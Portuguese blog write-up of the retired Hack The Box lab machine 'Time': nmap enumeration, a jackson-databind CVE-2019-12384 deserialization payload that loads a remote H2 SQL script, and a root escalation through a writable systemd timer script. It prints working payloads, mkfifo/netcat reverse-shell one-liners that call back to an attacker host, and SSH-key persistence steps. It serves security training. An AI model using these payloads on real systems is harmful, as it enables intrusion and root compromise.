4 minuto(s) de leitura Read also in :us: Compartilhar

Olá pessoal!

A máquina desta semana será Time, outra máquina Linux classificada como mediana do Hack The Box, criada por egotisticalSW e felamos.

:information_source: Info: Write-ups para máquinas do Hack The Box são postados assim que as respectivas máquinas são aposentadas

HTB Time

Enumeração

Iniciamos com a enumeração dos serviços publicado a partir de um quick scan do nmap, onde o output se encontra abaixo.

$ nmap -sC -sV -Pn -oA quick 10.10.10.214
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-26 16:08 -03
Nmap scan report for 10.10.10.214
Host is up (0.077s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 0f:7d:97:82:5f:04:2b:e0:0a:56:32:5d:14:56:82:d4 (RSA)
|   256 24:ea:53:49:d8:cb:9b:fc:d6:c4:26:ef:dd:34:c1:1e (ECDSA)
|_  256 fe:25:34:e4:3e:df:9f:ed:62:2a:a4:93:52:cc:cd:27 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Online JSON parser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.70 seconds

80/TCP - Serviço HTTP

Iniciando a verificação pelo serviço HTTP que executa na porta 80, vemos que temos um serviço de validação e formatação de arquivo JSON

Online JSON Parser - Time

Após executar algumas enumerações utilizando whatweb e nikto não encontrei nada útil, logo parti para a enumeração da aplicação buscando por alguma vulnerabilidade de injeção de código ou LFI.

Analisando a aplicação temos duas funcionalidades: Beautify e Validate:

  • A opção beautify, ao receber um JSON válido, o formata de forma “bonita” e, ao enviar um request inválido (por exemplo “test”), retorna o valor null.

Online JSON Parser - Time - beautify

  • Já a opção em beta validate verifica a sintaxe do JSON fornecido. Quando enviamos um request inválido (por exemplo “test”), exceção não esperada da aplicação é exibida.

    Validation failed: Unhandled Java exception: com.fasterxml.jackson.core.JsonParseException: Unrecognized token 'test': was expecting 'null', 'true', 'false' or NaN
    

Acesso inicial

Ao buscar por com.fasterxml.jackson.core encontrei detalhes sobre o projeto Jackson, desenvolvido pela FasterXML e do qual o componente core é base para o jackson-databind, popular pela sua biblioteca de JSON, a qual é implementada neste portal para as funcionalidades de validação e formatação.

Pesquisando por CVEs para o jackson-databind, os seguintes foram encontrados para execução de código em 2019, de acordo com o site CVE Details:

CVE Details

Dos 4 itens listados, encontrei para o CVE-2019-12384 um PoC funcional neste blog, o qual utilizei para obter o acesso inicial. Os seguintes passos foram executados para obter um shell reverso:

  • Criação de um arquivo inject.sql com o código abaixo, modificado da versão do blog para iniciar um shell reverso para a máquina atacante na porta 4443 e publicado usando um servidor HTTP python3 (sudo python3 -m http.server 80) a partir do diretório de onde o arquivo se encontra.

    CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {
        String[] command = {"bash", "-c", cmd};
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";  }
    $$;
    CALL SHELLEXEC('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/f')
    
  • Configurando listener via netcat com o comando nc -lnvp 4443.
  • Enviado o payload abaixo na aplicação no lugar do JSON a ser validado.

    ["ch.qos.logback.core.db.DriverManagerConnectionSource", {"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.10.10/inject.sql'"}]
    

Listener and Webserver - Time

Online Json Parser - Sending the payload

User flag

Após upgrade do shell, iniciado enumeração e identificado que o usuário utilizado, pericles, era um usuário comum do Linux e não possuía nenhum tipo de privilégio especial.

pericles@time:/var/www/html$ id
uid=1000(pericles) gid=1000(pericles) groups=1000(pericles)

Acessando seu diretório raiz, encontrado o user.txt onde foi obtido o primeiro flag.

pericles@time:/var/www/html$ cd ~
pericles@time:/home/pericles$ cat user.txt 
<redacted>
pericles@time:/home/pericles$ 

Root flag

Antes de dar continuidade na enumeração, para simplificar o processo de obtenção de um shell reverso se necessário, criado uma chave SSH usando o ssh-keygen e incluído a chave pública no arquivo ~/.ssh/authorized_keys, o que nos permidiu conectar diretamente ao usuário pericles via SSH.

A enumeração foi realizada utilizando o script linpeas.sh e um dos itens encontrados chamou bastante atenção, fazendo referência ao nome da máquina: um arquivo shell de propriedade do usuário pericles no caminho /usr/bin/timer_backup.sh.

Este arquivo está configurado para execução através de um system timer (/etc/systemd/system/timer_backup.timer e /etc/systemd/system/timer_backup.service) e configurado para execução a cada 10s com privilegios de root.

Como temos privilégios para editar o shell script, inclui a linha abaixo para obter um shell reverso e, após alguns segundos, recebi um shell reverso! :smile:

rm /tmp/g;mkfifo /tmp/g;cat /tmp/g|/bin/sh -i 2>&1|nc 10.10.10.10 4443 >/tmp/g

Como o processo é reexecutado após 10s, todos os processos existentes são finalizados e perdemos a conexão com a máquina. Apenas obter o flag de root é uma tarefa possível neste tempo, o que foi utilizado inicialmente.

$ nc -lnvp 4443
listening on [any] 4443 ...
connect to [10.10.10.10] from (UNKNOWN) [10.10.10.214] 33304
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
<redacted>
#      

Caso queira uma conexão mais persistente temos duas opções iniciais:

  • Configurar o system timer para incluir a chave pública no arquivo /root/.ssh/authorized_keys, nos permitindo conectar via SSH como root.
  • Iniciar outro shell reverso assim que obtermos a conexão inicial, que pode ser alcançado de múltiplas formas como Metasploit AutoRunScript e colocando uma instrução para ser passada assim que uma conexão via netcat é estabelecida, conforme podemos ver abaixo onde o comando id é executado assim que a sessão é iniciada:
printf "id\n" | nc -lnvp 4443

Espero que tenha sido útil e vejo vocês no próximo post! :smiley: